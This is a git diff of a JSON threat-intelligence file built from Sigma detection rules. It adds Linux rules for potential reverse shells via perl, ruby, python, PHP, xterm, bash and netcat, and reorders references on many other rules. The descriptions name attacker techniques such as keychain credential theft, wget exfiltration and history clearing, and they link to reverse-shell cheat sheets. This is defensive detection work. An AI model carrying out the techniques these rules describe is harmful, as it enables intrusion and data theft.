"related": [ + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "d443095b-a221-4957-a2c4-cd1756c9b747", + "value": "Suspicious Base64 Encoded User-Agent" + }, { "description": "Detects download of certain file types from hosts in suspicious TLDs", "meta": { @@ -87951,10 +82733,10 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", - "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", - "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", "https://www.spamhaus.org/statistics/tlds/", + "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", + "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", + "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_tlds_blacklist.yml" ], "tags": [ @@ -87991,29 +82773,6 @@ "uuid": "00d0b5ab-1f55-4120-8e83-487c0a7baf19", "value": "Download From Suspicious TLD - Blacklist" }, - { - "description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/02/08", - "falsepositive": [ - "Unlikely" - ], - "filename": "proxy_apt_domestic_kitten.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_apt_domestic_kitten.yml" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "6c939dfa-c710-4e12-a4dd-47e1f10e68e1", - "value": "Domestic Kitten FurBall Malware Pattern" - }, { "description": "Detects Malleable Amazon Profile", "meta": { @@ -88236,8 +82995,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_hacktool.yml" ], "tags": [ @@ -88567,8 +83326,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://objective-see.org/blog/blog_0x4B.html", "https://redcanary.com/blog/applescript/", + "https://objective-see.org/blog/blog_0x4B.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_office_susp_child_processes.yml" ], "tags": [ @@ -88651,8 +83410,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://ss64.com/osx/osacompile.html", "https://redcanary.com/blog/applescript/", + "https://ss64.com/osx/osacompile.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_osacompile_runonly_execution.yml" ], "tags": [ @@ -88685,9 +83444,9 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://ss64.com/osx/sysadminctl.html", - "https://ss64.com/osx/dscl.html", "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-3---create-local-account-with-admin-privileges-using-sysadminctl-utility---macos", + "https://ss64.com/osx/dscl.html", + "https://ss64.com/osx/sysadminctl.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_add_to_admin_group.yml" ], "tags": [ @@ -89217,8 +83976,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://ss64.com/osx/sysadminctl.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://ss64.com/osx/sysadminctl.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml" ], "tags": [ @@ -89474,9 +84233,9 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ + "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", "https://www.manpagez.com/man/8/firmwarepasswd/", "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", - "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" ], "tags": [ @@ -90034,8 +84793,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", "https://gist.github.com/Capybara/6228955", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" ], "tags": [ @@ -90102,9 +84861,9 @@ "logsource.category": "No established category", "logsource.product": "qualys", "refs": [ - "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" ], @@ -90124,8 +84883,8 @@ "logsource.category": "No established category", "logsource.product": "qualys", "refs": [ - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" ], @@ -90147,8 +84906,8 @@ "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" ], @@ -90585,8 +85344,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", "https://linux.die.net/man/1/xclip", + "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml" ], "tags": [ @@ -90653,8 +85412,8 @@ "logsource.product": "linux", "refs": [ "https://linux.die.net/man/8/insmod", - "https://man7.org/linux/man-pages/man8/kmod.8.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", + "https://man7.org/linux/man-pages/man8/kmod.8.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" ], "tags": [ @@ -90757,8 +85516,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://imagemagick.org/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://imagemagick.org/", "https://linux.die.net/man/1/import", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" ], @@ -90859,10 +85618,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://mn3m.info/posts/suid-vs-capabilities/", + "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", "https://man7.org/linux/man-pages/man8/getcap.8.html", - "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", - "https://mn3m.info/posts/suid-vs-capabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" ], "tags": [ @@ -90937,8 +85696,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", "https://blog.aquasec.com/container-security-tnt-container-attack", + "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_modify_system_firewall.yml" ], "tags": [ @@ -90971,8 +85730,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/Neo23x0/auditd/blob/master/audit.rules", "Self Experience", + "https://github.com/Neo23x0/auditd/blob/master/audit.rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" ], "tags": [ @@ -91005,8 +85764,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", + "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" ], "tags": [ @@ -91237,8 +85996,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://linux.die.net/man/1/wget", "https://gtfobins.github.io/gtfobins/wget/", + "https://linux.die.net/man/1/wget", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" ], "tags": [ @@ -91614,9 +86373,9 @@ "logsource.product": "linux", "refs": [ "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", "https://linux.die.net/man/1/chage", "https://man7.org/linux/man-pages/man1/passwd.1.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" ], "tags": [ @@ -91716,10 +86475,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://access.redhat.com/articles/4409591#audit-record-types-2", "https://linux.die.net/man/8/pam_tty_audit", - "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", + "https://access.redhat.com/articles/4409591#audit-record-types-2", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" ], "tags": [ @@ -91826,9 +86585,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://access.redhat.com/articles/4409591#audit-record-types-2", - "https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07", "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files", + "https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07", + "https://access.redhat.com/articles/4409591#audit-record-types-2", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml" ], "tags": [ @@ -91861,9 +86620,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", "https://book.hacktricks.xyz/shells/shells/linux", + "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" ], "tags": [ @@ -92020,8 +86779,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://redcanary.com/blog/ebpf-malware/", "https://man7.org/linux/man-pages/man7/bpf-helpers.7.html", + "https://redcanary.com/blog/ebpf-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_potential_susp_ebpf_activity.yml" ], "tags": [ @@ -92166,9 +86925,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://linux.die.net/man/8/useradd", - "https://digital.nhs.uk/cyber-alerts/2018/cc-2825", "https://github.com/redcanaryco/atomic-red-team/blob/25acadc0b43a07125a8a5b599b28bbc1a91ffb06/atomics/T1136.001/T1136.001.md#atomic-test-5---create-a-new-user-in-linux-with-root-uid-and-gid", + "https://digital.nhs.uk/cyber-alerts/2018/cc-2825", + "https://linux.die.net/man/8/useradd", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_privileged_user_creation.yml" ], "tags": [ @@ -92333,9 +87092,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://artkond.com/2017/03/23/pivoting-guide/", "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", + "https://artkond.com/2017/03/23/pivoting-guide/", "http://pastebin.com/FtygZ1cg", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" ], @@ -92369,8 +87128,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" ], "tags": [ @@ -92601,8 +87360,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml" ], "tags": [ @@ -92635,8 +87394,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://twitter.com/matthieugarin/status/1183970598210412546", "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://twitter.com/matthieugarin/status/1183970598210412546", "https://access.redhat.com/security/cve/cve-2019-14287", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sudo/lnx_sudo_cve_2019_14287_user.yml" ], @@ -92868,8 +87627,8 @@ "logsource.category": "file_event", "logsource.product": "linux", "refs": [ - "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", "https://www.makeuseof.com/how-to-install-and-use-doas/", + "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_doas_conf_creation.yml" ], "tags": [ @@ -93012,8 +87771,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://twitter.com/matthieugarin/status/1183970598210412546", "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://twitter.com/matthieugarin/status/1183970598210412546", "https://access.redhat.com/security/cve/cve-2019-14287", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" ], @@ -93180,8 +87939,8 @@ "logsource.product": "linux", "refs": [ "https://gtfobins.github.io/gtfobins/vimdiff/", - "https://gtfobins.github.io/gtfobins/rvim/", "https://gtfobins.github.io/gtfobins/vim/", + "https://gtfobins.github.io/gtfobins/rvim/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_vim.yml" ], "tags": [ @@ -93334,10 +88093,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://linuxhint.com/uninstall-debian-packages/", - "https://linuxhint.com/uninstall_yum_package/", - "https://sysdig.com/blog/mitre-defense-evasion-falco", "https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command", + "https://linuxhint.com/uninstall-debian-packages/", + "https://sysdig.com/blog/mitre-defense-evasion-falco", + "https://linuxhint.com/uninstall_yum_package/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remove_package.yml" ], "tags": [ @@ -93467,7 +88226,7 @@ "value": "Chmod Suspicious Directory" }, { - "description": "Detects python spawning a pretty tty", + "description": "Detects python spawning a pretty tty which could be indicative of potential reverse shell activity", "meta": { "author": "Nextron Systems", "creation_date": "2022/06/03", @@ -93534,6 +88293,30 @@ "uuid": "3be619f4-d9ec-4ea8-a173-18fdd01996ab", "value": "Flush Iptables Ufw Chain" }, + { + "description": "Detects execution of the perl binary with the \"-e\" flag and common strings related to potential reverse shell activity", + "meta": { + "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/04/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_lnx_perl_reverse_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.revshells.com/", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_perl_reverse_shell.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "259df6bc-003f-4306-9f54-4ff1a08fa38e", + "value": "Potential Perl Reverse Shell Execution" + }, { "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", "meta": { @@ -93577,10 +88360,44 @@ "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66", "value": "Atlassian Confluence CVE-2022-26134" }, + { + "description": "Detects usage of \"xterm\" as a potential reverse shell tunnel", + "meta": { + "author": "@d4ns4n_", + "creation_date": "2023/04/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_xterm_reverse_shell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.revshells.com/", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_xterm_reverse_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "4e25af4b-246d-44ea-8563-e42aacab006b", + "value": "Potential Xterm Reverse Shell" + }, { "description": "Detects a suspicious curl process start the adds a file to a web request", "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", + "author": "Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)", "creation_date": "2022/09/15", "falsepositive": [ "Scripts created by developers and admins" @@ -93590,11 +88407,11 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ + "https://curl.se/docs/manpage.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", "https://twitter.com/d1r4c/status/1279042657508081664", "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", - "https://curl.se/docs/manpage.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" ], "tags": [ @@ -93622,6 +88439,30 @@ "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582", "value": "Suspicious Curl File Upload - Linux" }, + { + "description": "Detects execution of ruby with the \"-e\" flag and calls to \"socket\" related functions. This could be an indication of a potential attempt to setup a reverse shell", + "meta": { + "author": "@d4ns4n_", + "creation_date": "2023/04/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_ruby_reverse_shell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.revshells.com/", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ruby_reverse_shell.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "b8bdac18-c06e-4016-ac30-221553e74f59", + "value": "Potential Ruby Reverse Shell" + }, { "description": "Detects usage of \"apt\" and \"apt-get\" as a GTFOBin to execute and proxy command and binary execution", "meta": { @@ -93635,8 +88476,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://gtfobins.github.io/gtfobins/apt-get/", "https://gtfobins.github.io/gtfobins/apt/", + "https://gtfobins.github.io/gtfobins/apt-get/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_apt.yml" ], "tags": [ @@ -93669,10 +88510,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://linuxize.com/post/how-to-delete-group-in-linux/", "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/", "https://linux.die.net/man/8/userdel", "https://www.cyberciti.biz/faq/linux-remove-user-command/", + "https://linuxize.com/post/how-to-delete-group-in-linux/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_userdel.yml" ], "tags": [ @@ -94015,6 +88856,30 @@ "uuid": "b86d356d-6093-443d-971c-9b07db583c68", "value": "Suspicious Curl Change User Agents - Linux" }, + { + "description": "Detects executing python with keywords related to network activity that could indicate a potential reverse shell", + "meta": { + "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/04/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_python_reverse_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.revshells.com/", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_reverse_shell.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "32e62bc7-3de0-4bb1-90af-532978fe42c0", + "value": "Potential Python Reverse Shell" + }, { "description": "Detects suspicious sub processes of web server processes", "meta": { @@ -94028,8 +88893,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml" ], "tags": [ @@ -94129,8 +88994,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", "https://bpftrace.org/", + "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" ], "tags": [ @@ -94150,6 +89015,30 @@ "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39", "value": "BPFtrace Unsafe Option Usage" }, + { + "description": "Detects usage of the PHP CLI with the \"-r\" flag which allows it to run inline PHP code. The rule looks for calls to the \"fsockopen\" function which allows the creation of sockets.\nAttackers often leverage this in combination with functions such as \"exec\" or \"fopen\" to initiate a reverse shell connection.\n", + "meta": { + "author": "@d4ns4n_", + "creation_date": "2023/04/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_php_reverse_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.revshells.com/", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_php_reverse_shell.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "c6714a24-d7d5-4283-a36b-3ffd091d5f7e", + "value": "Potential PHP Reverse Shell" + }, { "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", "meta": { @@ -94281,10 +89170,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://linuxize.com/post/how-to-delete-group-in-linux/", "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/", "https://linux.die.net/man/8/groupdel", "https://www.cyberciti.biz/faq/linux-remove-user-command/", + "https://linuxize.com/post/how-to-delete-group-in-linux/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_groupdel.yml" ], "tags": [ @@ -94317,8 +89206,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", + "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" ], "tags": [ @@ -94351,9 +89240,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/diego-treitos/linux-smart-enumeration", "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes", "https://github.com/carlospolop/PEASS-ng", + "https://github.com/diego-treitos/linux-smart-enumeration", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_capa_discovery.yml" ], "tags": [ @@ -94507,6 +89396,31 @@ "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31", "value": "Linux Network Service Scanning" }, + { + "description": "Detects execution of the bash shell with the interactive flag \"-i\".", + "meta": { + "author": "@d4ns4n_", + "creation_date": "2023/04/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_bash_interactive_shell.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.revshells.com/", + "https://linux.die.net/man/1/bash", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bash_interactive_shell.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "6104e693-a7d6-4891-86cb-49a258523559", + "value": "Bash Interactive Shell" + }, { "description": "Detects when the file \"passwd\" or \"shadow\" is copied from tmp path", "meta": { @@ -94748,6 +89662,43 @@ "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a", "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand" }, + { + "description": "Detects execution of netcat with the \"-e\" flag followed by common shells. This could be a sign of a potential reverse shell setup.", + "meta": { + "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/04/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_lnx_netcat_reverse_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://man7.org/linux/man-pages/man1/ncat.1.html", + "https://www.infosecademy.com/netcat-reverse-shells/", + 